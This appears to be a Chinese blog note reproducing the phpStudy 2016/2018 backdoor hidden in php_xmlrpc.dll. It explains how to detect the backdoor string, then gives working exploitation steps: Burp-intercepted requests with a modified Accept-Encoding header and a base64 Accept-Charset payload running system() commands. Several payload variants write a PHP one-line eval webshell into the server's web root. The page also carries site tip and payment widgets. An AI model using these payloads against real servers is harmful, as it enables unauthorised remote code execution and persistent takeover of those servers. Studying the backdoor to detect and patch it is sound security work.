phpstudy后门漏洞复现

笔记

前言

如果服务器是用phpstudy2016或phpstudy2018搭建的,那么就有可能存在后门

发现漏洞

后门代码在phpStudy2016和phpStudy2018的php-5.2.17或php-5.4.45的\ext\php_xmlrpc.dll文件中
只要该文件中可以搜索到@eval(%s(‘%s’)),即证明漏洞存在
phpStudy2016路径

php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll

phpStudy2018路径

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

后门利用

(1)访问目标服务器url时,用bp抓包
(2)找到accept-encoding: gzip, deflate,把逗号后面的空格删掉,改为accept-encoding: gzip,deflate,然后在accept-encoding: gzip,deflate这行前面或后面加上一行accept-charset:c3lzdGVtKCdkaXInKTs=,然后发送(这里的c3lzdGVtKCdkaXInKTs=是经过base64加密的)
在这里插入图片描述
这里以windows举例:
此时可以向目标服务器写入一句话
(1)dir:查看当前目录下的内容,可以一层层查看,最后找到WWW目录所在,将一句话写入
(2)chdir:查看当前所在目录,类似于linux中的pwd
(3)利用bp向目标系统指定位置写一句话木马,^表示写入特殊字符,例如<或>。写入后xx.php内容为:<?php @eval($_REQUEST[peak);?>
payload:

echo ^<?php @eval($_REQUEST[cmd]);?^> > xx.php

(4)利用bp向目标系统指定位置写一句话木马,这个不同的是,没有用到^,写入后xx.php内容为"<?php @eval($_REQUEST[cmd]);?>",但有"也可使用蚁剑连接
payload:

echo "<?php @eval($_REQUEST[cmd]);?>" > xx.php
注: echo '<?php @eval($_REQUEST[cmd]);?>' > xx.php,也可,写入后为<?php @eval($_REQUEST[cmd]);?>

(5)假设目标服务器使用的是phpstudy2018,最后那么payload就是

system('echo ^<?php @eval($_REQUEST[cmd]);?^> > C:\phpStudy\PHPTutorial\WWW\xx.php');
或
system('echo "<?php @eval($_REQUEST[cmd]);?>" > C:\phpStudy\PHPTutorial\WWW\xx.php');

注:下面写法会报错,主要由于""中的变量会执行,上面可以是因为system里的整体是’’,表示该整体是字符串
所以system执行时,最好使用’’,包含php的代码的也最好是’'包括

system("echo '<?php @eval($_REQUEST[cmd]);?>' > C:\phpStudy\PHPTutorial\WWW\xx.php");

而如果使用

system("echo \"<?php @eval($_REQUEST[cmd]);?>\" > C:\phpStudy\PHPTutorial\WWW\xx.php");

最后xx.php中为"<?php @eval();?>",也是""引起的问题

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值